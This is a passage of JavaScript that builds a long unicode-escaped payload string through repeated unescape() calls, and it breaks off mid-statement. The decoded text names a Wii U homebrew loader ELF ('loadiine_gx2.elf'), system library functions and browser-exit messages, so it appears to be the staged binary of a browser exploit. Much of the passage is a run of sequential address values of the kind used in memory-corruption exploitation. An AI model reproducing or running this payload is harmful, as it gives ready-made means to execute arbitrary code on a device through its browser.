unescape(\"%u2f6c%u6f61%u6469%u696e%u655f%u6778%u322e%u656c%u6600%u7200%u4e6f%u7420%u656e%u6f75%u6768%u206d%u656d%u6f72%u7920%u666f%u7220%u454c%u4620%u6669%u6c65%u2e00%u636f%u7265%u696e%u6974%u004d%u454d\");\n    str    += unescape(\"%u416c%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170%u4578%u004d%u454d%u4672%u6565%u546f%u4465%u6661%u756c%u7448%u6561%u7000%u6d65%u6d63%u7079%u006d%u656d%u7365%u7400%u4f53%u4661%u7461\");\n    str    += unescape(\"%u6c00%u4443%u466c%u7573%u6852%u616e%u6765%u0049%u4349%u6e76%u616c%u6964%u6174%u6552%u616e%u6765%u005f%u5f6f%u735f%u736e%u7072%u696e%u7466%u0065%u7869%u7400%u4653%u496e%u6974%u0046%u5341%u6464\");\n    str    += unescape(\"%u436c%u6965%u6e74%u4578%u0046%u5344%u656c%u436c%u6965%u6e74%u0046%u5349%u6e69%u7443%u6d64%u426c%u6f63%u6b00%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365%u0046%u534d%u6f75%u6e74%u0046%u5355\");\n    str    += unescape(\"%u6e6d%u6f75%u6e74%u0046%u534f%u7065%u6e46%u696c%u6500%u4653%u4765%u7453%u7461%u7446%u696c%u6500%u4653%u5265%u6164%u4669%u6c65%u0046%u5343%u6c6f%u7365%u4669%u6c65%u0073%u7973%u6170%u702e%u7270\");\n    str    += unescape(\"%u6c00%u5359%u5352%u656c%u6175%u6e63%u6854%u6974%u6c65%u0043%u6f75%u6c64%u206e%u6f74%u206c%u6f61%u6420%u6669%u6c65%u202f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2f6c\");\n    str    += unescape(\"%u6f61%u6469%u696e%u655f%u6778%u322e%u656c%u6600%u4661%u696c%u6564%u2074%u6f20%u6c6f%u6164%u2045%u4c46%u202f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2f6c%u6f61%u6469\");\n    str    += unescape(\"%u696e%u655f%u6778%u322e%u656c%u6600%u002e%u7368%u7374%u7274%u6162%u002e%u7465%u7874%u002e%u6461%u7461%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000\");\n    str    += unescape(\"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u000b%u0000%u0001%u0000%u0006%u0080%u0000%u0000%u0054%u0000%u0948%u0000%u0000%u0000%u0000%u0000%u0004%u0000%u0000%u0000%u0011%u0000%u0001%u0000%u0032\");\n    str    += unescape(\"%u0080%u0948%u0000%u099c%u0000%u021c%u0000%u0000%u0000%u0000%u0000%u0001%u0000%u0001%u0000%u0001%u0000%u0003%u0000%u0000%u0000%u0000%u0000%u0bb8%u0000%u0017%u0000%u0000%u0000%u0000%u0000%u0001\");\n    str    += unescape(\"%u0000%u0000%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565%u6e47%u6574%u4275%u6666%u6572%u5369%u7a65%u4578%u004f%u5353%u6372%u6565%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5353\");\n    str    += unescape(\"%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u004f%u5353%u6372%u6565%u6e46%u6c69%u7042%u7566%u6665%u7273%u4578%u004f%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u0073%u7973%u6170\");\n    str    += unescape(\"%u702e%u7270%u6c00%u5f53%u5953%u4c61%u756e%u6368%u4d69%u6953%u7475%u6469%u6f00%u496e%u7661%u6c69%u6420%u656c%u6620%u6669%u6c65%u0063%u6f72%u6569%u6e69%u742e%u7270%u6c00%u6d65%u6d73%u6574%u004d\");\n    str    += unescape(\"%u454d%u416c%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170%u4578%u004d%u454d%u4672%u6565%u546f%u4465%u6661%u756c%u7448%u6561%u7000%u6d65%u6d63%u7079%u004f%u5345%u6666%u6563%u7469%u7665\");\n    str    += unescape(\"%u546f%u5068%u7973%u6963%u616c%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500%u4943%u496e%u7661%u6c69%u6461%u7465%u5261%u6e67%u6500%u5f45%u7869%u7400%u494d%u5f4f%u7065%u6e00%u494d%u5f43%u6c6f%u7365\");\n    str    += unescape(\"%u0049%u4d5f%u5365%u7444%u6576%u6963%u6553%u7461%u7465%u004f%u5341%u6c6c%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554%u6f53%u7973%u7465%u6d00%u4e6f%u7420%u656e%u6f75%u6768%u206d\");\n    str    += unescape(\"%u656d%u6f72%u792e%u2045%u7869%u7420%u616e%u6420%u7265%u2d65%u6e74%u6572%u2062%u726f%u7773%u6572%u2e00%u4f53%u4372%u6561%u7465%u5468%u7265%u6164%u004f%u5352%u6573%u756d%u6554%u6872%u6561%u6400\");\n    str    += unescape(\"%u4f53%u4973%u5468%u7265%u6164%u5465%u726d%u696e%u6174%u6564%u0054%u6872%u6561%u6420%u6d65%u6d6f%u7279%u2061%u6c6c%u6f63%u6174%u696f%u6e20%u6661%u696c%u6564%u2e20%u4578%u6974%u2061%u6e64%u2072\");\n    str    += unescape(\"%u652d%u656e%u7465%u7220%u6272%u6f77%u7365%u722e%u0046%u6169%u6c65%u6420%u746f%u2063%u7265%u6174%u6520%u7468%u7265%u6164%u2e20%u4578%u6974%u2061%u6e64%u2072%u652d%u656e%u7465%u7220%u6272%u6f77\");\n    str    += unescape(\"%u7365%u722e%u002e%u7465%u7874%u002e%u726f%u6461%u7461%u002e%u6461%u7461%u002e%u6273%u7300%u0000%u0000%u003c%u0000%u0000%u017a%u5200%u047c%u4101%u1b0c%u0100%u0d0b%u1141%u7f8e%u128f%u1190%u1091\");\n    str    += unescape(\"%u0f92%u0e93%u0d94%u0c95%u0b96%u0a97%u0998%u0899%u079a%u069b%u059c%u049d%u039e%u029f%u0100%u0000%u0000%u0038%u0000%u0044%uffff%uecc4%u0000%u0058%u0041%uce41%ucf41%ud041%ud141%ud241%ud341%ud441\");\n    str    += unescape(\"%ud541%ud641%ud741%ud841%ud941%uda41%udb41%udc41%udd41%ude42%udf41%u0641%u410d%u0100%u0000%u351c%u0000%u3520%u0000%u3524%u0000%u3528%u0000%u352c%u0000%u3530%u0000%u3534%u0000%u3538%u0000%u353c\");\n    str    += unescape(\"%u0000%u3540%u0000%u3544%u0000%u3548%u0000%u354c%u0000%u3550%u0000%u3554%u0000%u3558%u0000%u355c%u0000%u3560%u0000%u3564%u0000%u3568%u0000%u356c%u0000%u3570%u0000%u3574%u0000%u3578%u0000%u357c\");\n    str    += unescape(\"%u0000%u3580%u0000%u3584%u0000%u3588%u0000%u358c%u0000%u3590%u0000%u3594%u0000%u3598%u0000%u359c%u0000%u35a0%u0000%u35a4%u0000%u35a8%u0000%u35ac%u0000%u35b0%u0000%u35b4%u0000%u35b8%u0000%u35bc\");\n    str    += unescape(\"%u0000%u35c0%u0000%u35c4%u0000%u35c8%u0000%u35cc%u0000%u35d0%u0000%u35d4%u0000%u35d8%u0000%u35dc%u0000%u35e0%u0000%u35e4%u0000%u35e8%u0000%u35ec%u0000%u35f0%u0000%u35f4%u0000%u35f8%u0000%u35fc\");\n    str    += unescape(\"%u0000%u3600%u0000%u3604%u0000%u3608%u0000%u360c%u0000%u3610%u0000%u3614%u0000%u3618%u0000%u361c%u0000%u3620%u0000%u3624%u0000%u3628%u0000%u362c%u0000%u3630%u0000%u3634%u0000%u3638%u0000%u363c\");\n    str    += unescape(\"%u0000%u3640%u0000%u3644%u0000%u3648%u0000%u364c%u0000%u3650%u0000%u3654%u0000%u3658%u0000%u365c%u0000%u3660%u0000%u3664%u0000%u3668%u0000%u366c%u0000%u3670%u0000%u3674%u0000%u3678%u0000%u367c\");\n    str    += unescape(\"%u0000%u3680%u0000%u3684%u0000%u3688%u0000%u368c%u0000%u3690%u0000%u3694%u0000%u3698%u0000%u369c%u0000%u36a0%u0000%u36a4%u0000%u36a8%u0000%u36ac%u0000%u36b0%u0000%u36b4%u0000%u36b8%u0000%u36bc\");\n    str    += unescape(\"%u0000%u36c0%u0000%u36c4%u0000%u36c8%u0000%u36cc%u0000%u36d0%u0000%u36d4%u0000%u36d8%u0000%u36dc%u0000%u36e0%u0000%u36e4%u0000%u36e8%u0000%u36ec%u0000%u36f0%u0000%u36f4%u0000%u36f8%u0000%u36fc\");\n    str    += unescape(\"%u0000%u3700%u0000%u3704%u0000%u3708%u0000%u370c%u0000%u3710%u0000%u3714%u0000%u3718%u0000%u371c%u0000%u3720%u0000%u3724%u0000%u3728%u0000%u372c%u0000%u3730%u0000%u3734%u0000%u3738%u0000%u373c\");\n    str    += unescape(\"%u0000%u3740%u0000%u3744%u0000%u3748%u0000%u374c%u0000%u3750%u0000%u3754%u0000%u3758%u0000%u375c%u0000%u3760%u0000%u3764%u0000%u3768%u0000%u376c%u0000%u3770%u0000%u3774%u0000%u3778%u0000%u377c\");\n    str    += unescape(\"%u0000%u3780%u0000%u3784%u0000%u3788%u0000%u378c%u0000%u3790%u0000%u3794%u0000%u3798%u0000%u379c%u0000%u37a0%u0000%u37a4%u0000%u37a8%u0000%u37ac%u0000%u37b0%u0000%u37b4%u0000%u37b8%u0000%u37bc\");\n    str    += unescape(\"%u0000%u37c0%u0000%u37c4%u0000%u37c8%u0000%u37cc%u0000%u37d0%u0000%u37d4%u0000%u37d8%u0000%u37dc%u0000%u37e0%u0000%u37e4%u0000%u37e8%u0000%u37ec%u0000%u37f0%u0000%u37f4%u0000%u37f8%u0000%u37fc\");\n    str    += unescape(\"%u0000%u3800%u0000%u3804%u0000%u3808%u0000%u380c%u0000%u3810%u0000%u3814%u0000%u3818%u0000%u381c%u0000%u3820%u0000%u3824%u0000%u3828%u0000%u382c%u0000%u3830%u0000%u3834%u0000%u3838%u0000%u383c\");\n    str    += unescape(\"%u0000%u3840%u0000%u3844%u0000%u3848%u0000%u384c%u0000%u3850%u0000%u3854%u0000%u3858%u0000%u385c%u0000%u3860%u0000%u3864%u0000%u3868%u0000%u386c%u0000%u3870%u0000%u3874%u0000%u3878%u0000%u387c\");\n    str    += unescape(\"%u0000%u3880%u0000%u3884%u0000%u3888%u0000%u388c%u0000%u3890%u0000%u3894%u0000%u3898%u0000%u389c%u0000%u38a0%u0000%u38a4%u0000%u38a8%u0000%u38ac%u0000%u38b0%u0000%u38b4%u0000%u38b8%u0000%u38bc\");\n    str    += unescape(\"%u0000%u38c0%u0000%u38c4%u0000%u38c8%u0000%u38cc%u0000%u38d0%u0000%u38d4%u0000%u38d8%u0000%u38dc%u0000%u38e0%u0000%u38e4%u0000%u38e8%u0000%u38ec%u0000%u38f0%u0000%u38f4%u0000%u38f8%u0000%u38fc\");\n    str    += unescape(\"%u0000%u3900%u0000%u3904%u0000%u3908%u0000%u390c%u0000%u3910%u0000%u3914%u0000%u3918%u0000%u391c%u0000%u3920%u0000%u3924%u0000%u3928%u0000%u392c%u0000%u3930%u0000%u3934%u0000%u3938%u0000%u393c\");\n    str    += unescape(\"%u0000%u3940%u0000%u3944%u0000%u3948%u0000%u394c%u0000%u3950%u0000%u3954%u0000%u3958%u0000%u395c%u0000%u3960%u0000%u3964%u0000%u3968%u0000%u396c%u0000%u3970%u0000%u3974%u0000%u3978%u0000%u397c\");\n    str    += unescape(\"%u0000%u3980%u0000%u3984%u0000%u3988%u0000%u398c%u0000%u3990%u0000%u3994%u0000%u3998%u0000%u399c%u0000%u39a0%u0000%u39a4%u0000%u39a8%u0000%u39ac%u0000%u39b0%u0000%u39b4%u0000%u39b8%u0000%u39bc\");\n    str    += unescape(\"%u0000%u39c0%u0000%u39c4%u0000%u39c8%u0000%u39cc%u0000%u39d0%u0000%u39d4%u0000%u39d8%u0000%u39dc%u0000%u39e0%u0000%u39e4%u0000%u39e8%u0000%u39ec%u0000%u39f0%u0000%u39f4%u0000%u39f8%u0000%u39fc\");\n    str    += unescape(\"%u0000%u3a00%u0000%u3a04%u0000%u3a08%u0000%u3a0c%u0000%u3a10%u0000%u3a14%u0000%u3a18%u0000%u3a1c%u0000%u3a20%u0000%u3a24%u0000%u3a28%u0000%u3a2c%u0000%u3a30%u0000%u3a34%u0000%u3a38%u0000%u3a3c\");\n    str    += unescape(\"%u0000%u3a40%u0000%u3a44%u0000%u3a48%u0000%u3a4c%u0000%u3a50%u0000%u3a54%u0000%u3a58%u0000%u3a5c%u0000%u3a60%u0000%u3a64%u0000%u3a68%u0000%u3a6c%u0000%u3a70%u0000%u3a74%u0000%u3a78%u0000%u3a7c\");\n    str    += unescape(\"%u0000%u3a80%u0000%u3a84%u0000%u3a88%u0000%u3a8c%u0000%u3a90%u0000%u3a94%u0000%u3a98%u0000%u3a9c%u0000%u3aa0%u0000%u3aa4%u0000%u3aa8%u0000%u3aac%u0000%u3ab0%u0000%u3ab4%u0000%u3ab8%u0000%u3abc\");\n    str    += unescape(\"%u0000%u3ac0%u0000%u3ac4%u0000%u3ac8%u0000%u3acc%u0000%u3ad0%u0000%u3ad4%u0000%u3ad8%u0000%u3adc%u0000%u3ae0%u0000%u3ae4%u0000%u3ae8%u0000%u3aec%u0000%u3af0%u0000%u3af4%u0000%u3af8%u0000%u3afc\");\n    str    += unescape(\"%u0000%u3b00%u0000%u3b04%u0000%u3b08%u0000%u3b0c%u0000%u3b10%u0000%u3b14%u0000%u3b18%u0000%u3b1c%u0000%u3b20%u0000%u3b24%u0000%u3b28%u0000%u3b2c%u0000%u3b30%u0000%u3b34%u0000%u3b38%u0000%u3b3c\");\n    str    += unescape(\"%u0000%u3b40%u0000%u3b44%u0000%u3b48%u0000%u3b4c%u0000%u3b50%u0000%u3b54%u0000%u3b58%u0000%u3b5c%u0000%u3b60%u0000%u3b64%u0000%u3b68%u0000%u3b6c%u0000%u3b70%u0000%u3b74%u0000%u3b78%u0000%u3b7c\");\n    str    += unescape(\"%u0000%u3b80%u0000%u3b84%u0000%u3b88%u0000%u3b8c%u0000%u3b90%u0000%u3b94%u0000%u3b98%u0000%u3b9c%u0000%u3ba0%u0000%u3ba4%u0000%u3ba8%u0000%u3bac%u0000%u3bb0%u0000%u3bb4%u0000%u3bb8%u0000%u3bbc\");\n    str    += unescape(\"%u0000%u3bc0%u0000%u3bc4%u0000%u3bc8%u0000%u3bcc%u0000%u3bd0%u0000%u3bd4%u0000%u3bd8%u0000%u3bdc%u0000%u3be0%u0000%u3be4%u0000%u3be8%u0000%u3bec%u0000%u3bf0%u0000%u3bf4%u0000%u3bf8%u0000%u3bfc\");\n    str    += unescape(\"%u0000%u3c00%u0000%u3c04%u0000%u3c08%u0000%u3c0c%u0000%u3c10%u0000%u3c14%u0000%u3c18%u0000%u3c1c%u0000%u3c20%u0000%u3c24%u0000%u3c28%u0000%u3c2c%u0000%u3c30%u0000%u3c34%u0000%u3c38%u0000%u3c3c\");\n    str    += unescape(\"%u0000%u3c40%u0000%u3c44%u0000%u3c48%u0000%u3c4c%u0000%u3c50%u0000%u3c54%u0000%u3c58%u0000%u3c5c%u0000%u3c60%u0000%u3c64%u0000%u3c68%u0000%u3c6c%u0000%u3c70%u0000%u3c74%u0000%u3c78%u0000%u3c7c\");\n    str    += unescape(\"%u0000%u3c80%u0000%u3c84%u0000%u3c88%u0000%u3c8c%u0000%u3c90%u0000%u3c94%u0000%u3c98%u0000%u3c9c%u0000%u3ca0%u0000%u3ca4%u0000%u3ca8%u0000%u3cac%u0000%u3cb0%u0000%u3cb4%u0000%u3cb8%u0000%u3cbc\");\n    str    += unescape(\"%u0000%u3cc0%u0000%u3cc4%u0000%u3cc8%u0000%u3ccc%u0000%u3cd0%u0000%u3cd4%u0000%u3cd8%u0000%u3cdc%u0000%u3ce0%u0000%u3ce4%u0000%u3ce8%u0000%u3cec%u0000%u3cf0%u0000%u3cf4%u0000%u3cf8%u0000%u3cfc\");\n    str    += unescape(\"%u0000%u3d00%u0000%u3d04%u0000%u3d08%u0000%u3d0c%u0000%u3d10%u0000%u3d14%u0000%u3d18%u0000%u3d1c%u0000%u3d20%u0000%u3d24%u0000%u3d28%u0000%u3d2c%u0000%u3d30%u0000%u3d34%u0000%u3d38%u0000%u3d3c\");\n    str    += unescape(\"%u0000%u3d40%u0000%u3d44%u0000%u3d48%u0000%u3d4c%u0000%u3d50%u0000%u3d54%u0000%u3d58%u0000%u3d5c%u0000%u3d60%u0000%u3d64%u0000%u3d68%u0000%u3d6c%u0000%u3d70%u0000%u3d74%u0000%u3d78%u0000%u3d7c\");\n    str    += unescape(\"%u0000%u3d80%u0000%u3d84%u0000%u3d88%u0000%u3d8c%u0000%u3d90%u0000%u3d94%u0000%u3d98%u0000%u3d9c%u0000%u3da0%u0000%u3da4%u0000%u3da8%u0000%u3dac%u0000%u3db0%u0000%u3db4%u0000%u3db8%u0000%u3dbc\");\n    str    += unescape(\"%u0000%u3dc0%u0000%u3dc4%u0000%u3dc8%u0000%u3dcc%u0000%u3dd0%u0000%u3dd4%u0000%u3dd8%u0000%u3ddc%u0000%u3de0%u0000%u3de4%u0000%u3de8%u0000%u3dec%u0000%u3df0%u0000%u3df4%u0000%u3df8%u0000%u3dfc\");\n    str    += unescape(\"%u0000%u3e00%u0000%u3e04%u0000%u3e08%u0000%u3e0c%u0000%u3e10%u0000%u3e14%u0000%u3e18%u0000%u3e1c%u0000%u3e20%u0000%u3e24%u0000%u3e28%u0000%u3e2c%u0000%u3e30%u0000%u3e34%u0000%u3e38%u0000%u3e3c\");\n    str    += unescape(\"%u0000%u3e40%u0000%u3e44%u0000%u3e48%u0000%u3e4c%u0000%u3e50%u0000%u3e54%u0000%u3e58%u0000%u3e5c%u0000%u3e60%u0000%u3e64%u0000%u3e68%u0000%u3e6c%u0000%u3e70%u0000%u3e74%u0000%u3e78%u0000%u3e7c\");\n    str    += unescape(\"%u0000%u3e80%u0000%u3e84%u0000%u3e88%u0000%u3e8c%u0000%u3e90%u0000%u3e94%u0000%u3e98%u0000%u3e9c%u0000%u3ea0%u0000%u3ea4%u0000%u3ea8%u0000%u3eac%u0000%u3eb0%u0000%u3eb4%u0000%u3eb8%u0000%u3ebc\");\n    str    += unescape(\"%u0000%u3ec0%u0000%u3ec4%u0000%u3ec8%u0000%u3ecc%u0000%u3ed0%u0000%u3ed4%u0000%u3ed8%u0000%u3edc%u0000%u3ee0%u0000%u3ee4%u0000%u3ee8%u0000%u3eec%u0000%u3ef0%u0000%u3ef4%u0000%u3ef8%u0000%u3efc\");\n    str    += unescape(\"%u0000%u3f00%u0000%u3f04%u0000%u3f08%u0000%u3f0c%u0000%u3f10%u0000%u3f14%u0000%u3f18%u0000%u3f1c%u0000%u3f20%u0000%u3f24%u0000%u3f28%u0000%u3f2c%u0000%u3f30%u0000%u3f34%u0000%u3f38%u0000%u3f3c\");\n    str    += unescape(\"%u0000%u3f40%u0000%u3f44%u0000%u3f48%u0000%u3f4c%u0000%u3f50%u0000%u3f54%u0000%u3f58%u0000%u3f5c%u0000%u3f60%u0000%u3f64%u0000%u3f68%u0000%u3f6c%u0000%u3f70%u0000%u3f74%u0000%u3f78%u0000%u3f7c\");\n    str    += unescape(\"%u0000%u3f80%u0000%u3f84%u0000%u3f88%u0000%u3f8c%u0000%u3f90%u0000%u3f94%u0000%u3f98%u0000%u3f9c%u0000%u3fa0%u0000%u3fa4%u0000%u3fa8%u0000%u3fac%u0000%u3fb0%u0000%u3fb4%u0000%u3fb8%u0000%u3fbc\");\n    str    += unescape(\"%u0000%u3fc0%u0000%u3fc4%u0000%u3fc8%u0000%u3fcc%u0000%u3fd0%u0000%u3fd4%u0000%u3fd8%u0000%u3fdc%u0000%u3fe0%u0000%u3fe4%u0000%u3fe8%u0000%u3fec%u0000%u3ff0%u0000%u3ff4%u0000%u3ff8%u0000%u3ffc\");\n    str    += unescape(\"%u0000%u4000%u0000%u4004%u0000%u4008%u0000%u400c%u0000%u4010%u0000%u4014%u0000%u4018%u0000%u401c%u0000%u4020%u0000%u4024%u0000%u4028%u0000%u402c%u0000%u4030%u0000%u4034%u0000%u4038%u0000%u403c\");\n    str    += unescape(\"%u0000%u4040%u0000%u4044%u0000%u4048%u0000%u404c%u0000%u4050%u0000%u4054%u0000%u4058%u0000%u405c%u0000%u4060%u0000%u4064%u0000%u4068%u0000%u406c%u0000%u4070%u0000%u4074%u0000%u4078%u0000%u407c\");\n    str    += unescape(\"%u0000%u4080%u0000%u4084%u0000%u4088%u0000%u408c%u0000%u4090%u0000%u4094%u0000%u4098%u0000%u409c%u0000%u40a0%u0000%u40a4%u0000%u40a8%u0000%u40ac%u0000%u40b0%u0000%u40b4%u0000%u40b8%u0000%u40bc\");\n    str    += unescape(\"%u0000%u40c0%u0000%u40c4%u0000%u40c8%u0000%u40cc%u0000%u40d0%u0000%u40d4%u0000%u40d8%u0000%u40dc%u0000%u40e0%u0000%u40e4%u0000%u40e8%u0000%u40ec%u0000%u40f0%u0000%u40f4%u0000%u40f8%u0000%u40fc\");\n    str    += unescape(\"%u0000%u4100%u0000%u4104%u0000%u4108%u0000%u410c%u0000%u4110%u0000%u4114%u0000%u4118%u0000%u411c%u0000%u4120%u0000%u4124%u0000%u4128%u0000%u412c%u0000%u4130%u0000%u4134%u0000%u4138%u0000%u413c\");\n    str    += unescape(\"%u0000%u4140%u0000%u4144%u0000%u4148%u0000%u414c%u0000%u4150%u0000%u4154%u0000%u4158%u0000%u415c%u0000%u4160%u0000%u4164%u0000%u4168%u0000%u416c%u0000%u4170%u0000%u4174%u0000%u4178%u0000%u417c\");\n    str    += unescape(\"%u0000%u4180%u0000%u4184%u0000%u4188%u0000%u418c%u0000%u4190%u0000%u4194%u0000%u4198%u0000%u419c%u0000%u41a0%u0000%u41a4%u0000%u41a8%u0000%u41ac%u0000%u41b0%u0000%u41b4%u0000%u41b8%u0000%u41bc\");\n    str    += unescape(\"%u0000%u41c0%u0000%u41c4%u0000%u41c8%u0000%u41cc%u0000%u41d0%u0000%u41d4%u0000%u41d8%u0000%u41dc%u0000%u41e0%u0000%u41e4%u0000%u41e8%u0000%u41ec%u0000%u41f0%u0000%u41f4%u0000%u41f8%u0000%u41fc\");\n    str    += unescape(\"%u0000%u4200%u0000%u4204%u0000%u4208%u0000%u420c%u0000%u4210%u0000%u4214%u0000%u4218%u0000%u421c%u0000%u4220%u0000%u4224%u0000%u4228%u0000%u422c%u0000%u4230%u0000%u4234%u0000%u4238%u0000%u423c\");\n    str    += unescape(\"%u0000%u4240%u0000%u4244%u0000%u4248%u0000%u424c%u0000%u4250%u0000%u4254%u0000%u4258%u0000%u425c%u0000%u4260%u0000%u4264%u0000%u4268%u0000%u426c%u0000%u4270%u0000%u4274%u0000%u4278%u0000%u427c\");\n    str    += unescape(\"%u0000%u4280%u0000%u4284%u0000%u4288%u0000%u428c%u0000%u4290%u0000%u4294%u0000%u4298%u0000%u429c%u0000%u42a0%u0000%u42a4%u0000%u42a8%u0000%u42ac%u0000%u42b0%u0000%u42b4%u0000%u42b8%u0000%u42bc\");\n    str    += unescape(\"%u0000%u42c0%u0000%u42c4%u0000%u42c8%u0000%u42cc%u0000%u42d0%u0000%u42d4%u0000%u42d8%u0000%u42dc%u0000%u42e0%u0000%u42e4%u0000%u42e8%u0000%u42ec%u0000%u42f0%u0000%u42f4%u0000%u42f8%u0000%u42fc\");\n    str    += unescape(\"%u0000%u4300%u0000%u4304%u0000%u4308%u0000%u430c%u0000%u4310%u0000%u4314%u0000%u4318%u0000%u431c%u0000%u4320%u0000%u4324%u0000%u4328%u0000%u432c%u0000%u4330%u0000%u4334%u0000%u4338%u0000%u433c\");\n    str    += unescape(\"%u0000%u4340%u0000%u4344%u0000%u4348%u0000%u434c%u0000%u4350%u0000%u4354%u0000%u4358%u0000%u435c%u0000%u4360%u0000%u4364%u0000%u4368%u0000%u436c%u0000%u4370%u0000%u4374%u0000%u4378%u0000%u437c\");\n    str    += unescape(\"%u0000%u4380%u0000%u4384%u0000%u4388%u0000%u438c%u0000%u4390%u0000%u4394%u0000%u4398%u0000%u439c%u0000%u43a0%u0000%u43a4%u0000%u43a8%u0000%u43ac%u0000%u43b0%u0000%u43b4%u0000%u43b8%u0000%u43bc\");\n    str    += unescape(\"%u0000%u43c0%u0000%u43c4%u0000%u43c8%u0000%u43cc%u0000%u43d0%u0000%u43d4%u0000%u43d8%u0000%u43dc%u0000%u43e0%u0000%u43e4%u0000%u43e8%u0000%u43ec%u0000%u43f0%u0000%u43f4%u0000%u43f8%u0000%u43fc\");\n    str    += unescape(\"%u0000%u4400%u0000%u4404%u0000%u4408%u0000%u440c%u0000%u4410%u0000%u4414%u0000%u4418%u0000%u441c%u0000%u4420%u0000%u4424%u0000%u4428%u0000%u442c%u0000%u4430%u0000%u4434%u0000%u4438%u0000%u443c\");\n    str    += unescape(\"%u0000%u4440%u0000%u4444%u0000%u4448%u0000%u444c%u0000%u4450%u0000%u4454%u0000%u4458%u0000%u445c%u0000%u4460%u0000%u4464%u0000%u4468%u0000%u446c%u0000%u4470%u0000%u4474%u0000%u4478%u0000%u447c\");\n    str    += unescape(\"%u0000%u4480%u0000%u4484%u0000%u4488%u0000%u448c%u0000%u4490%u0000%u4494%u0000%u4498%u0000%u449c%u0000%u44a0%u0000%u44a4%u0000%u44a8%u0000%u44ac%u0000%u44b0%u0000%u44b4%u0000%u44b8%u0000%u44bc\");\n    str    += unescape(\"%u0000%u44c0%u0000%u44c4%u0000%u44c8%u0000%u44cc%u0000%u44d0%u0000%u44d4%u0000%u44d8%u0000%u44dc%u0000%u44e0%u0000%u44e4%u0000%u44e8%u0000%u44ec%u0000%u44f0%u0000%u44f4%u0000%u44f8%u0000%u44fc\");\n    str    += unescape(\"%u0000%u4500%u0000%u4504%u0000%u4508%u0000%u450c%u0000%u4510%u0000%u4514%u0000%u4518%u0000%u451c%u0000%u4520%u0000%u4524%u0000%u4528%u0000%u452c%u0000%u4530%u0000%u4534%u0000%u4538%u0000%u453c\");\n    str    += unescape(\"%u0000%u4540%u0000%u4544%u0000%u4548%u0000%u454c%u0000%u4550%u0000%u4554%u0000%u4558%u0000%u455c%u0000%u4560%u0000%u4564%u0000%u4568%u0000%u456c%u0000%u4570%u0000%u4574%u0000%u4578%u0000%u457c\");\n    str    += unescape(\"%u0000%u4580%u0000%u4584%u0000%u4588%u0000%u458c%u0000%u4590%u0000%u4594%u0000%u4598%u0000%u459c%u0000%u45a0%u0000%u45a4%u0000%u45a8%u0000%u45ac%u0000%u45b0%u0000%u45b4%u0000%u45b8%u0000%u45bc\");\n    str    += unescape(\"%u0000%u45c0%u0000%u45c4%u0000%u45c8%u0000%u45cc%u0000%u45d0%u0000%u45d4%u0000%u45d8%u0000%u45dc%u0000%u45e0%u0000%u45e4%u0000%u45e8%u0000%u45ec%u0000%u45f0%u0000%u45f4%u0000%u45f8%u0000%u45fc\");\n    str    += unescape(\"%u0000%u4600%u0000%u4604%u0000%u4608%u0000%u460c%u0000%u4610%u0000%u4614%u0000%u4618%u0000%u461c%u0000%u4620%u0000%u4624%u0000%u4628%u0000%u462c%u0000%u4630%u0000%u4634%u0000%u4638%u0000%u463c\");\n    str    += unescape(\"%u0000%u4640%u0000%u4644%u0000%u4648%u0000%u464c%u0000%u4650%u0000%u4654%u0000%u4658%u0000%u465c%u0000%u4660%u0000%u4664%u0000%u4668%u0000%u466c%u0000%u4670%u0000%u4674%u0000%u4678%u0000%u467c\");\n    str    += unescape(\"%u0000%u4680%u0000%u4684%u0000%u4688%u0000%u468c%u0000%u4690%u0000%u4694%u0000%u4698%u0000%u469c%u0000%u46a0%u0000%u46a4%u0000%u46a8%u0000%u46ac%u0000%u46b0%u0000%u46b4%u0000%u46b8%u0000%u46bc\");\n    str    += unescape(\"%u0000%u46c0%u0000%u46c4%u0000%u46c8%u0000%u46cc%u0000%u46d0%u0000%u46d4%u0000%u46d8%u0000%u46dc%u0000%u46e0%u0000%u46e4%u0000%u46e8%u0000%u46ec%u0000%u46f0%u0000%u46f4%u0000%u46f8%u0000%u46fc\");\n    str    += unescape(\"%u0000%u4700%u0000%u4704%u0000%u4708%u0000%u470c%u0000%u4710%u0000%u4714%u0000%u4718%u0000%u471c%u0000%u4720%u0000%u4724%u0000%u4728%u0000%u472c%u0000%u4730%u0000%u4734%u0000%u4738%u0000%u473c\");\n    str    += unescape(\"%u0000%u4740%u0000%u4744%u0000%u4748%u0000%u474c%u0000%u4750%u0000%u4754%u0000%u4758%u0000%u475c%u0000%u4760%u0000%u4764%u0000%u4768%u0000%u476c%u0000%u4770%u0000%u4774%u0000%u4778%u0000%u477c\");\n    str    += unescape(\"%u0000%u4780%u0000%u4784%u0000%u4788%u0000%u478c%u0000%u4790%u0000%u4794%u0000%u4798%u0000%u479c%u0000%u47a0%u0000%u47a4%u0000%u47a8%u0000%u47ac%u0000%u47b0%u0000%u47b4%u0000%u47b8%u0000%u47bc\");\n    str    += unescape(\"%u0000%u47c0%u0000%u47c4%u0000%u47c8%u0000%u47cc%u0000%u47d0%u0000%u47d4%u0000%u47d8%u0000%u47dc%u0000%u47e0%u0000%u47e4%u0000%u47e8%u0000%u47ec%u0000%u47f0%u0000%u47f4%u0000%u47f8%u0000%u47fc\");\n    str    += unescape(\"%u0000%u4800%u0000%u4804%u0000%u4808%u0000%u480c%u0000%u4810%u0000%u4814%u0000%u4818%u0000%u481c%u0000%u4820%u0000%u4824%u0000%u4828%u0000%u482c%u0000%u4830%u0000%u4834%u0000%u4838%u0000%u483c\");\n    str    += 